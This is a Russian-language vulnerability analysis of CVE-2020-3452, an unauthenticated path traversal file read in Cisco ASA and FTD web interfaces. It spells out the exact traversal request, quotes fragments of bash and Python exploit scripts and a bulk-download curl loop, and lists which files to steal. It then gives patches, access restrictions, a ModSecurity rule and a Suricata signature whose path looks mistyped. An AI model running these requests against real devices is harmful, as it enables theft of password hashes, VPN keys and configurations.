
Уязвимость BDU:2020-04010 (CVE-2020-3452) Cisco ASA и FTD
Уязвимость BDU:2020-04010 (CVE-2020-3452) недостаточной проверки входных данных в веб-интерфейсе межсетевых экранов Cisco Adaptive Security Appliance (ASA) и Firepower Threat Defense (FTD). Она позволяет неаутентифицированному злоумышленнику осуществлять чтение произвольных файлов на уязвимых устройствах через механизм Path Traversal.
Анализ уязвимости
Уровень опасности: 7.5 HIGH (CVSS v3.1)
Вектор атаки: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-
AV:N (Attack Vector - Network) - Атака через сеть
-
AC:L (Attack Complexity - Low) - Низкая сложность эксплуатации
-
PR:N (Privileges Required - None) - Не требуются привилегии
-
UI:N (User Interaction - None) - Не требуется взаимодействие с пользователем
-
S:U (Scope - Unchanged) - Воздействие ограничено уязвимым компонентом
-
C:H (Confidentiality - High) - Высокий риск нарушения конфиденциальности
-
I:N (Integrity - None) - Нет воздействия на целостность
-
A:N (Availability - None) - Нет воздействия на доступность
Условия эксплуатации
-
Доступ к веб-интерфейсу: Устройство должно быть доступно через сеть (публично или внутри периметра)
-
Уязвимая версия ПО: Только конкретные версии Cisco ASA (9.x) и FTD (6.x)
-
Открытый порт: HTTPS/TCP 443 (стандартный для веб-интерфейса)
-
Отсутствие патчей: Не установлены фиксы Cisco
Уязвимое ПО
- Cisco Firepower Threat Defense от 6.2.3 до 6.2.3.16
- Cisco Firepower Threat Defense от 6.3.0 до 6.3.0.6
- Cisco Firepower Threat Defense от 6.4.0 до 6.4.0.10
- Cisco Firepower Threat Defense от 6.5.0 до 6.5.0.5
- Cisco Firepower Threat Defense от 6.6.0 до 6.6.0.1
- Cisco Adaptive Security Appliance от 9.8 до 9.8.4.20
- Cisco Adaptive Security Appliance от 9.13 до 9.13.1.10
- Cisco Adaptive Security Appliance от 9.6 до 9.6.4.42
- Cisco Adaptive Security Appliance от 9.9 до 9.9.2.74
- Cisco Adaptive Security Appliance от 9.10 до 9.10.1.42
- Cisco Adaptive Security Appliance от 9.12 до 9.12.3.12
- Cisco Adaptive Security Appliance от 9.14 до 9.14.1.10
Технический механизм уязвимости
Уязвимость возникает в обработчике URL-путей вида /+CSCOT+/oem-customization
. Некорректная санитизация параметра name
позволяет использовать последовательности ../
для обхода ограничений доступа:
GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
Ключевые ошибки в коде:
-
Отсутствие нормализации пути после подстановки переменных
-
Разрешение чтения файлов вне ограниченных каталогов
-
Недостаточная валидация специальных символов (
..
,/
,%2e%2e
)
Анализ эксплойтов
Рассмотрим структуру эксплойтов для понимания вектора атаки:
1. Bash-скрипт:
status=$(curl -LI $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read -w '%{http_code}\n' -s)
-
Использует
curl
для проверки доступности пути -
При успехе (HTTP 200) скачивает файл через
wget
-
Ключевой параметр:
name=%2bCSCOE%2b/portal_inc.lua
(URL-encoded+CSCOE+/
)
2. Python-скрипт (более универсальный):
attack_url = "https://{}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name={}" resp = s.get(attack_url.format(host, path))
-
Использует библиотеку
requests
-
Позволяет указывать произвольные файлы через
--read
-
Автоматически сохраняет результат в
{host}.txt
3. Массовое скачивание файлов:
curl "https://$TARGET/+CSCOT+/translation-table?type=mst&textdomain=%2bCSCOE%2b/${FILE}&lang=../"
-
Использует альтернативный эндпоинт
translation-table
-
Перебирает заранее известные файлы (
CISCO_KNOWN_FILES
) -
Сохраняет всё в локальную директорию
Ключевые файлы для экспфильтрации
-
Конфигурационные файлы:
-
running.conf
- полная конфигурация устройства -
portal_inc.lua
- содержит хеши паролей администраторов
-- Пример содержимого portal_inc.lua local auth_cookie = "AKCp5bLGRhx..."; local admin_pass = "$1$nTg2f...";
-
-
Системная информация:
-
localization_inc.lua
- версии ПО и аппаратные данные -
session.js
- данные о сессиях VPN
-
-
Криптографические материалы:
-
*.xml
- конфиги AnyConnect с предразмещёнными ключами -
*.p12
- сертификаты (при наличии в доступных путях)
-
Возможные последствия успешной атаки
-
Полный компрометация устройства:
-
Получение хешей паролей для взлома
-
Доступ к консоли через SSH с привилегиями enable
-
-
Компрометация VPN:
-
Кража предразмещённых ключей AnyConnect
-
Деанонимизация пользователей через session data
-
-
Атаки на внутреннюю сеть:
-
Использование device config для анализа топологии сети
-
Получение IP-адресов критичных систем
-
-
Эскалация привилегий:
-
Чтение файлов с данными аутентификации к другим системам
-
Извлечение сертификатов для подмены устройства
-
Способы защиты
1. Обновление ПО (приоритетный метод):
Установите более новые версии:
-
ASA: 9.14.1.10+, 9.15.1+, 9.16.2+
-
FTD: 6.6.3.1+, 7.0.0+
2. Конфигурационные изменения:
! Отключите уязвимый веб-интерфейс no http server enable ! Или ограничите доступ http server enable http 192.168.1.0 255.255.255.0 management
3. WAF-правила (ModSecurity):
SecRule REQUEST_URI "@contains /+CSCOT+/oem-customization" \ "id:100049,\ phase:1,\ block,\ msg:'Cisco ASA Path Traversal (CVE-2020-3452)',\ ctl:ruleEngine=On"
4. Suricata IDS/IPS правила:
alert http any any -> $HOME_NET any \ (msg:"CVE-2020-3452 - Cisco ASA LFI Attempt"; \ flow:established,to_server; \ content:"/+/CSCOT+/oem-customization"; \ content:"platform=.."; \ content:"name="; \ classtype:web-application-attack; \ sid:20203452; \ rev:1;)
5. Сетевые ограничения:
-
Блокировка внешнего доступа к /+CSCOT+/ через ACL
-
Обязательная аутентификация перед доступом к web-UI
-
Сегментация сети: вынести management-интерфейс в отдельный VLAN
